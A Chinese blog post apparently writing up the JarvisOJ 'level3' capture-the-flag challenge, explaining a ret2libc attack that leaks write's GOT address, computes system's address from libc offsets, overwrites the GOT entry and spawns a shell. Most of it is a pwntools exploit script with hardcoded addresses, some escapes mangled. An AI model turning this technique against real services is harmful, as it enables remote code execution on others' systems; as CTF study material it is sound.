zoukankan      html  css  js  c++  java
  • JarvisOJ——level3——20161106

    PS:
    libc.so中对应的函数的偏移和程序中的got表的偏移是对应的
    在这种套路的题目中:
    主要思路,通过泄露地址和相对偏移,计算systemgot表的位置,然后再一直调用了的函数(题目中是write)的plt表中将指向的got表项改成system的,如果程序还会指执行原本的函数,那么在修改之后就会调用system函数,就达到了我们要的结果
    程序在本机调试的时候,要注意用的libc.so的库不一样,所以在写exp的时候,我们要先用我们本机中的libc.so中的数据调试,在进行提交的时候,将相应的偏移量改成题目中给的libc.so的

    先拿到文件,可以明显的看到.rar,虽然还有后面的一部分,但是实际上还是rar
    我们还是用file看一下

    然后我们修改后缀名,解压压缩包,得到一个可执行文件(level3和一个libc-2.19.so)
    同时为了便于调试,我们通过ldd查看程序调用的是本机的哪个libc,并且把这个库复制的我们当前文件夹下

    在exp中,我们需要将整个程序运行两次——第一次用来泄露信息,第二次进行system的调用(借鉴之前的sctf-pwn200的思路)
    第一次用write和read函数来进行地址的泄露和plt表的修改,然后通过在vulnerable函数调用完成之后返回main函数,进行第二次运行,因为在第一次的时候,plt表已经改写成system的地址,所以在write或者read调用的时候实际上调用的是system,所以拿到shell

    checksec:
    got表是可写的

    然后可以看到 got表是可以改写的


    整个函数可以改写的部分是最后一栏

    !/usr/bin/env python

    encoding: utf-8

    from pwn import *
    proc_name = './level3'
    proc_elf = ELF(proc_name)
    io = process(proc_name)
    context.log_level = 'debug'
    print proc.pidof(io)[0]
    raw_input("debug")
    libc2_system = 0x00040310
    libc2_write = 0x000DAFE0
    libc6_system = 0x0003AD80
    libc6_write = 0x000D5C70
    read_plt = 0x08048310
    write_plt = 0x8048340
    write_got_plt = 0x0804a018
    buf = 0x1111
    pop4 = 0x08048518
    function = 0x08048495
    bin_sh_addr = 0x804a010

    payload1 = 'a'*0x88
    payload1 += p32(buf)#ebp
    payload1 += p32(write_plt)#
    payload1 += p32(pop4)
    payload1 += 'x01x00x00x00' + p32(write_got_plt) + 'x04x00x00x00'
    payload1 += p32(buf)#ebp
    payload1 += p32(read_plt)
    payload1 += p32(pop4)
    payload1 += 'x00x00x00x00' + p32(write_got_plt) + 'x04x00x00x00'
    payload1 += p32(buf)#ebp
    payload1 += p32(read_plt)
    payload1 += p32(pop4)
    payload1 += 'x00x00x00x00' + p32(bin_sh_addr) + 'x04x00x00x00'
    payload1 += p32(function)#ebp
    payload1 += p32(write_plt)
    payload1 += p32(write_plt)
    payload1 += p32(bin_sh_addr)
    io.recvuntil("Input: ")
    io.send(payload1)

    leak_addr = io.recv()[-4:]
    leak_addr_hex = u32(leak_addr)
    print "leak_addr : "
    print leak_addr_hex
    real_system2 = leak_addr_hex - libc2_write + libc2_system
    real_system6 = leak_addr_hex - libc6_write + libc6_system

    print "system addr"

    real_system_send6 = p32(real_system6)

    io.clean()
    io.send(real_system_send6)
    payload3 = '/bin/sh'+'x00'
    io.sendline(payload3)

    io.send(p32(real_system2))

    io.interactive()
    整个过程

    准备工作

    填充栈
    覆盖ebp
    转到开始地址:write_plt

    第一步:泄露地址

    用write函数,传入write_got_plt 的地址,然后打印出来

    第二步:改写write的got表

    第三步:将/bin/sh写入参数,准备传给system

    注意:
    - 写/bin/sh的时候,要注意程序中那些部分可以写,哪些部分不能写
    - 写完/bin/sh的之后,要注意在后面加上 'x00'

    注意:

     - 在io.send()和io.recv()的顺序需要注意,避免在recv之前就发送了send
    - 
    
  • 相关阅读:
    微信小程序 scroll-view switch checkbox
    微信小程序 全选和取消全选
    微信小程序 for循环添加样式1
    微信小程序 类似弹出菜单特效,从右向左滑出
    微信小程序 for循环 wx:for和wx:if wx:elif嵌套着使用
    微信小程序 输入框限制字数
    微信小程序 从本地相册选择图片或使用相机拍照chooseImage()和预览图片previewImage()
    安卓开发感言
    安卓-singleTask
    安卓-什么是FrameLayout
  • 原文地址:https://www.cnblogs.com/volva/p/11813766.html
Copyright © 2011-2022 走看看